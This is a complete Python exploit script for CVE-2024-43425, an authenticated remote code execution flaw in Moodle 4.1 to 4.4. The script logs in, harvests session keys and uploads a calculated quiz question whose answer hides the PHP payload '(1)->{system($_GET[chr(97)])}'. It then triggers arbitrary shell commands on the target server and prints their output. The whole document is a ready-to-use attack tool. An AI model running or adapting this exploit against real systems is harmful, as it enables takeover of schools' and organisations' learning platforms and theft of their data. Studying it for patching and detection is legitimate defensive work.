Moodle 4.4.0 – Authenticated Remote Code Execution
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://moodle.org # Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0 # Tested Version: Moodle 4.4.0 # Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 # Tested On: Ubuntu 22.04, Apache2, PHP 8.2 # CVE: CVE-2024-43425 # References: # - https://github.com/aninfosec/CVE-2024-43425-Poc # - https://nvd.nist.gov/vuln/detail/CVE-2024-43425 import argparse import requests import re import sys import subprocess from bs4 import BeautifulSoup import urllib.parse requests.packages.urllib3.disable_warnings() def get_login_token(session, login_url): print("[*] Step 1: GET /login/index.php to extract login token") try: response = session.get(login_url, verify=False) if response.status_code != 200: print(f"[-] Unexpected status code {response.status_code} when accessing login page") sys.exit(1) except Exception as e: print(f"[-] Error connecting to {login_url}: {e}") sys.exit(1) soup = BeautifulSoup(response.text, "html.parser") token_input = soup.find("input", {"name": "logintoken"}) if not token_input or not token_input.get("value"): print("[-] Failed to extract login token from HTML") sys.exit(1) token = token_input["value"] print(f"[+] Found login token: {token}") return token def perform_login(session, login_url, username, password, token): print("[*] Step 2: POST /login/index.php with credentials") login_payload = { "anchor": "", "logintoken": token, "username": username, "password": password, } try: response = session.post( login_url, data=login_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False, ) if response.status_code not in [200, 303]: print(f"[-] Unexpected response code during login: {response.status_code}") sys.exit(1) except Exception as e: print(f"[-] Login POST failed: {e}") sys.exit(1) if "MoodleSession" not in session.cookies.get_dict(): print("[-] Login may have failed: MoodleSession cookie missing") sys.exit(1) print("[+] Logged in successfully.") def get_quiz_info(session, base_url, cmid): print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...") quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}" try: resp = session.get(quiz_edit_url, verify=False) if resp.status_code != 200: print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}") sys.exit(1) # Extract sesskey sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text) # Extract courseContextId ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text) # Extract category category_match = re.search(r';category=(\d+)', resp.text) if not (sesskey_match and ctxid_match and category_match): print("[-] Could not extract sesskey, courseContextId, or category") print(resp.text[:1000]) sys.exit(1) sesskey = sesskey_match.group(1) ctxid = ctxid_match.group(1) category = category_match.group(1) print(f"[+] Found sesskey: {sesskey}") print(f"[+] Found courseContextId: {ctxid}") print(f"[+] Found category: {category}") return sesskey, ctxid, category except Exception as e: print(f"[-] Exception while extracting quiz info: {e}") sys.exit(1) def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid): print("[*] Step 3: Uploading calculated question with payload...") url = f"{base_url}/question/bank/editquestion/question.php" payload = "(1)->{system($_GET[chr(97)])}" post_data = { "initialcategory": 1, "reload": 1, "shuffleanswers": 1, "answernumbering": "abc", "mform_isexpanded_id_answerhdr": 1, "noanswers": 1, "nounits": 1, "numhints": 2, "synchronize": "", "wizard": "datasetdefinitions", "id": "", "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "qtype": "calculated", "makecopy": 0, "sesskey": sesskey, "_qf__qtype_calculated_edit_form": 1, "mform_isexpanded_id_generalheader": 1, "category": f"{category},{ctxid}", "name": "exploit", "questiontext[text]": "<p>test</p>", "questiontext[format]": 1, "questiontext[itemid]": 623548580, "status": "ready", "defaultmark": 1, "generalfeedback[text]": "", "generalfeedback[format]": 1, "generalfeedback[itemid]": 21978947, "answer[0]": payload, "fraction[0]": 1.0, "tolerance[0]": 0.01, "tolerancetype[0]": 1, "correctanswerlength[0]": 2, "correctanswerformat[0]": 1, "feedback[0][text]": "", "feedback[0][format]": 1, "feedback[0][itemid]": 281384971, "unitrole": 3, "penalty": 0.3333333, "hint[0][text]": "", "hint[0][format]": 1, "hint[0][itemid]": 812786292, "hint[1][text]": "", "hint[1][format]": 1, "hint[1][itemid]": 795720000, "tags": "_qf__force_multiselect_submission", "submitbutton": "Save changes" } try: res = session.post(url, data=post_data, verify=False, allow_redirects=False) if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]: print("[+] Question upload request sent. Extracting question ID from redirect.") qid = re.search(r"&id=(\d+)", res.headers["Location"]) if not qid: print("[-] Could not extract question ID from redirect.") sys.exit(1) return qid.group(1) else: print(f"[-] Upload failed. Status code: {res.status_code}") sys.exit(1) except Exception as e: print(f"[-] Upload exception: {e}") sys.exit(1) def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid): print("[*] Step 4: Completing dataset wizard with dataset[0]=0") wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions" data_payload = { "id": question_id, "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "category": f"{category},{ctxid}", "wizard": "datasetitems", "sesskey": sesskey, "_qf__question_dataset_dependent_definitions_form": 1, "dataset[0]": 0, "synchronize": 0, "submitbutton": "Next page" } try: res = session.post(wizard_url, data=data_payload, verify=False) if res.status_code == 200: print("[+] Dataset wizard POST submitted.") return False elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text: print("[+] Reached expected error page. Payload is being interpreted.") return True else: print(f"[-] Dataset wizard POST failed with status: {res.status_code}") return False except Exception as e: print(f"[-] Exception during dataset wizard step: {e}") return False def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd): print("[*] Step 5: Triggering command: {cmd}") encoded = urllib.parse.quote(cmd) trigger_url = ( f"{base_url}/question/bank/editquestion/question.php?id={question_id}" f"&category={category}&cmid={cmid}&courseid={courseid}" f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0" f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}" ) try: resp = session.get(trigger_url, verify=False) print("[+] Trigger request sent. Output below:\n") lines = resp.text.splitlines() output_lines = [] for line in lines: if "<html" in line.lower(): break if line.strip(): output_lines.append(line.strip()) print("[+] Command output (top lines):") print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.") except Exception as e: print(f"[-] Error triggering command: {e}") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit") parser.add_argument("--url", required=True, help="Target Moodle base URL") parser.add_argument("--username", required=True, help="Moodle username") parser.add_argument("--password", required=True, help="Moodle password") parser.add_argument("--courseid", required=True, help="Course ID") parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)") parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')") args = parser.parse_args() session = requests.Session() login_url = f"{args.url.rstrip('/')}/login/index.php" token = get_login_token(session, login_url) perform_login(session, login_url, args.username, args.password, token) sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid) question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid) if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid): sys.exit(1) trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd) if __name__ == "__main__": main() |